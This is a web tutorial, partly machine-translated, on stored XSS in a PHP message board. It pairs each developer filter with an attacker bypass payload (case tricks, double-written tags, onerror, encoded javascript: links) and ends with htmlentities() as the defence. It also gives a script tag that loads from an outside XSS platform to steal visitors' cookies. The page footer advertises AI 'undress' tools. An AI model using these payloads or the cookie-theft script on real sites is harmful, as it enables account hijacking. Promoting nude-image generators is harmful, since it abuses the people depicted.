Practical attack and defense of one-time stored XSS
What is stored XSS
It is by injecting executable code into the web page and successfully Execution, to achieve the purpose of attack, usually injects a JavaScript script. During the testing process, we generally use:
<script>alert(1)</script>
Use this js code to pop up a box to prove the existence of xss vulnerabilities. So, newbies may ask, what is the use of popping up a box?
Actually, the pop-up box is just to prove the existence of this vulnerability. There are many ways to exploit this vulnerability.
For example, you can use the xss platform:
Write an xss script generated by the platform:
<script src=//xsspt.com/ZsgUBf></script>
When someone enters the zone When there is a page with this script, the js script will obtain its cookie and send it to the xss platform.
You only need to log in to the xss platform and wait. After getting the cookie, you can log in to his account without a password.
Note: The focus of this article is to carry out XSS attacks step by step from a hacker's perspective, and then discuss how to defend against XSS attacks step by step from a developer's perspective. Therefore, in this article, I will correct the back-end code as a developer, and then conduct XSS attacks on the front-end page as a hacker. This needs to be noted.
Regarding the manifestation of stored XSS vulnerabilities, the more classic one is the message board. But we are all good students who abide by the law and cannot test external websites, so we spent half an hour making a message board by ourselves.
First of all, there should be a front-end display page Message_Board.php and a back-end data storage page addMessage.php
The front-end code is not the focus of this article (interesting You can check it yourselfFront-end code), we focus on the back-end code addMessage.php:
<?php $nickname = @$_POST['nickname'];//昵称 $email = @$_POST['email'];//邮箱 $content = @$_POST['content'];//留言内容 $now_time = @$_POST['now_time'];//留言时间 $ini= @parse_ini_file("config.ini"); $con = @mysql_connect($ini["servername"],$ini["username"],$ini["password"]); if($con){ mysql_query("set names 'utf8'");//解决中文乱码问题 mysql_select_db($ini["dbname"]); $sql1 = "select count(*) from message_board"; $result = mysql_query($sql1); $floor = mysql_fetch_row($result)[0] + 1; $sql = "insert into message_board values ($floor,\"$nickname\",\"$email\",\"$content\",\"$now_time\")"; mysql_query($sql); }?>
As you can see, we did not process the four parameters passed in at all, but directly Store in database.
So, as long as we enter like this:
After submission, the system will automatically refresh the page and a pop-up box will appear:
After clicking OK, you will find that the message content and the message sender are both empty.
This is because the js script has been parsed. At this time, we press F12, open the browser's developer tools, and find the js script.
So, here comes the question.
After all, we have another identity, how should developers defend it?
0×00, here is the simplest one, just modify the front-end code
Add the maxlength attribute in the input tag
<input type="text" name="nickname" placeholder="留言者昵称" maxlength="10">
As for the principle , because the js script is in the form of <script></script> and the length is 17, so as long as we limit the length on the front end, we can prevent hackers from carrying out xss attacks.
But! Development is not that easy!
We are hackers who want to develop, so we have to do it ourselves.
As an attacker, we can also modify the front-end code. The specific operation is to use the browser's F12 (developer tools)
You can see, We can modify the length directly.
In addition, you can also use the packet capture method to write directly in the packet, which is not limited by the length.
0×01. Filter the keyword script
As a developer, you can easily find that in order to carry out an xss attack, you must insert a js script, and The characteristics of js scripts are very obvious. The script contains the script keyword, so we only need to perform script filtering.
Go back to the previous code.
For the convenience of explanation, I only take the nickname parameter. In fact, the four parameters passed in need to be processed in the same way.
$nickname = str_replace("script", "", @$_POST['nickname']);//昵称
上面这个str_replace()函数的意思是把script替换为空。
可以看到,script被替换为空,弹框失败。
那么黑客该如何继续进行攻击呢?
答案是:大小写绕过
<script>alert(1)</script>
因为js是不区分大小写的,所以我们的大小写不影响脚本的执行。
成功弹框!
0×02、使用str_ireplace()函数进行不区分大小写地过滤script关键字
作为一名优秀的开发,发现了问题当然要及时改正,不区分大小写不就行了嘛。
后端代码修正如下:
$nickname = str_ireplace("script", "", @$_POST['nickname']);//昵称
str_ireplace()函数类似于上面的str_replace(),但是它不区分大小写。
那么,黑客该如何绕过?
答案是:双写script
<Sscriptcript>alert(1)</Sscriptcript>
原理就是str_ireplace()函数只找出了中间的script关键字,前面的S和后面的cript组合在一起,构成了新的Script关键字。
弹框成功!
0×03、使用preg_replace()函数进行正则表达式过滤script关键字
$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//昵称
显然,弹框失败。
攻击者如何再一次绕过?
答案是:用img标签的oneerror属性
<img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/image/699/197/806/1575365321709550.jpg" class="lazy" src=x onerror=alert(1) alt="Practical attack and defense of one-time stored XSS" >
0×04、过滤alert关键字
看到这里,不知道你烦了没有,以开发的角度来讲,我都有点烦。大黑阔你不是喜欢弹窗么?我过滤alert关键字看你怎么弹!
$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//昵称 $nickname = preg_replace( "(.*)a(.*)l(.*)e(.*)r(.*)t/i", "", $nickname);//昵称
那么,攻击者该怎么办呢?
答案是:编码绕过
<a href=javascript:alert( 1)>a</a>
当点击页面上的超链接时,会弹框。
但是为什么呢?
这种编码方式为字符编码
字符编码:十进制、十六进制ASCII码或unicode 字符编码,样式为“数值;”, 例如“j”可以编码为“j”或“j ”
上述代码解码之后如下:
<a href=javascript:alert(1)>a</a>
你能明显感觉到限制:由于使用到了a标签,所以只有点击时,才会弹框。
作为一个大黑阔,我们当然是不满意的,能不能让所有进入这个页面的人都弹框?
当然可以了:用iframe标签编码
<iframe src=javascript:alert(1 )>
这种写法,同样既没有script关键字,又没有alert关键字。
可以看到弹框成功!
可是你也能看到,由于使用了iframe标签,留言板的样式已经变形了。实战中尽量不要用。
0×05、过滤特殊字符
优秀的开发,永不认输!你个小小的黑阔,不就是会插入js代码么?我过滤特殊字符,看你代码咋被解析?
可是我不想手撸代码来列举那么多特殊字符怎么办?
php给我们提供了htmlentities()函数:
$nickname = htmlentities(@$_POST['nickname']);//昵称
htmlentities()函数的作用是把字符转换为 HTML 实体。
看到这里,你可能还是不明白HTML字符实体是什么。我举个例子吧,当你想在HTML页面上显示一个小于号(<)时,浏览器会认为这是标签的一部分(因为所有标签都由大于号,标签名和小于号构成),因此,为了能在页面上显示这个小于号(<),我们引入了HTML字符实体的概念,能够在页面上显示类似于小于号(<)这样的特殊符号,而不会影响到页面标签的解析。
可以看到,我们输入的内容全部显示在页面上了。
可是却没有弹框。
我们鼠标右键,查看网页源代码
际上,我们输入的内容已经变成了HTML实体:
<iframe src=javascri pt:alert(1)>
无法被解析为js脚本。
黑客在当前场景下已经无法攻击了(在某些其他场景,即使使用了htmlentities()函数,仍然是可以攻击的,这就不在本文讨论范围之内了)
0×06、总结
开发者不应该只考虑关键字的过滤,还应该考虑特殊符号的过滤 。
黑客在面对未知的情况时,要不断尝试,这对于知识的储备量有较高的要求。
对于xss攻击,站在开发者角度来讲,仅仅用一个htmlentities()函数基本可以做到防御,可是一个优秀的开发者应该明白它的原理。站在黑客的角度来讲,面对环境的逐步变化,条件的逐步限制,攻击思路灵活变化是对整个职业生涯有益的。
相关文章教程推荐:web服务器安全
The above is the detailed content of Practical attack and defense of one-time stored XSS. For more information, please follow other related articles on the PHP Chinese website!

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics



PHP Practice: Code Example to Quickly Implement the Fibonacci Sequence The Fibonacci Sequence is a very interesting and common sequence in mathematics. It is defined as follows: the first and second numbers are 0 and 1, and from the third Starting with numbers, each number is the sum of the previous two numbers. The first few numbers in the Fibonacci sequence are 0,1,1.2,3,5,8,13,21,...and so on. In PHP, we can generate the Fibonacci sequence through recursion and iteration. Below we will show these two

Cross-site scripting (XSS) and cross-site request forgery (CSRF) protection in Laravel With the development of the Internet, network security issues have become more and more serious. Among them, Cross-SiteScripting (XSS) and Cross-SiteRequestForgery (CSRF) are one of the most common attack methods. Laravel, as a popular PHP development framework, provides users with a variety of security mechanisms

Java Development Practice: Integrating Qiniu Cloud Storage Service to Implement File Upload Introduction With the development of cloud computing and cloud storage, more and more applications need to upload files to the cloud for storage and management. The advantages of cloud storage services are high reliability, scalability and flexibility. This article will introduce how to use Java language development, integrate Qiniu cloud storage service, and implement file upload function. About Qiniu Cloud Qiniu Cloud is a leading cloud storage service provider in China, providing comprehensive cloud storage and content distribution services. Users can use Qiniu Yunti

MySQL table design practice: Create an e-commerce order table and product review table. In the database of the e-commerce platform, the order table and product review table are two very important tables. This article will introduce how to use MySQL to design and create these two tables, and give code examples. 1. Design and creation of order table The order table is used to store the user's purchase information, including order number, user ID, product ID, purchase quantity, order status and other fields. First, we need to create a table named "order" using CREATET

The data export function is a very common requirement in actual development, especially in scenarios such as back-end management systems or data report export. This article will take the Golang language as an example to share the implementation skills of the data export function and give specific code examples. 1. Environment preparation Before starting, make sure you have installed the Golang environment and are familiar with the basic syntax and operations of Golang. In addition, in order to implement the data export function, you may need to use a third-party library, such as github.com/360EntSec

This article brings you relevant knowledge about uniapp cross-domain, and introduces issues related to subcontracting of uniapp and mini programs. Each mini program that uses subcontracting must contain a main package. The so-called main package is where the default startup page/TabBar page is placed, and some public resources/JS scripts are required for all sub-packages; while sub-packages are divided according to the developer's configuration. I hope it will be helpful to everyone.

In-depth study of Elasticsearch query syntax and practical introduction: Elasticsearch is an open source search engine based on Lucene. It is mainly used for distributed search and analysis. It is widely used in full-text search of large-scale data, log analysis, recommendation systems and other scenarios. When using Elasticsearch for data query, flexible use of query syntax is the key to improving query efficiency. This article will delve into the Elasticsearch query syntax and give it based on actual cases.

Vue Practical Combat: Date Picker Component Development Introduction: The date picker is a component often used in daily development. It can easily select dates and provides various configuration options. This article will introduce how to use the Vue framework to develop a simple date picker component and provide specific code examples. 1. Requirements analysis Before starting development, we need to conduct a requirements analysis to clarify the functions and characteristics of the components. According to the common date picker component functions, we need to implement the following function points: Basic functions: able to select dates, and
